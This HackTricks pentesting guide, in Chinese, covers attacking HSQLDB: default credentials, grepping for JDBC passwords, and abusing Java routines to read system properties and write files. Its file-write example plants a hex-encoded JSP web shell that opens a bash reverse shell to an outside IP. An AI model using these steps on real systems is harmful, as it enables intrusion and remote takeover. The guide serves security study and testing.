9001 - Pentesting HSQLDB

支持 HackTricks

基本信息

HSQLDB (HyperSQL 数据库) 是领先的用 Java 编写的 SQL 关系数据库系统。它提供一个小型、快速的多线程和事务数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。

默认端口: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

信息

默认设置

请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务并希望提升权限。

默认凭据通常是 sa,密码为空。

如果您已经利用了另一个服务,请搜索可能的凭据使用

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

注意数据库名称 - 你需要它来连接。

信息收集

通过 下载 HSQLDB 并提取 hsqldb/lib/hsqldb.jar 来连接到数据库实例。使用 java -jar hsqldb.jar 运行 GUI 应用程序(呃)并使用发现的/弱的凭据连接到实例。

注意连接 URL 对于远程系统看起来像这样: jdbc:hsqldb:hsql://ip/DBNAME

技巧

Java 语言例程

我们可以通过 HSQLDB 使用 Java 语言例程调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。

JRTs 可以是 functionsprocedures。如果 Java 方法返回一个或多个 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 VALUES 语句调用。

如果我们想要调用的 Java 方法返回 void,则需要使用通过 CALL 语句调用的过程。

读取 Java 系统属性

创建函数:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

执行函数:

VALUES(getsystemproperty('user.name'))

您可以在这里找到系统属性列表

写入文件内容

您可以使用位于 JDK 中的 com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java 小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。注意最大大小为 1024 字节

创建过程:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

执行过程:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
支持 HackTricks

Last updated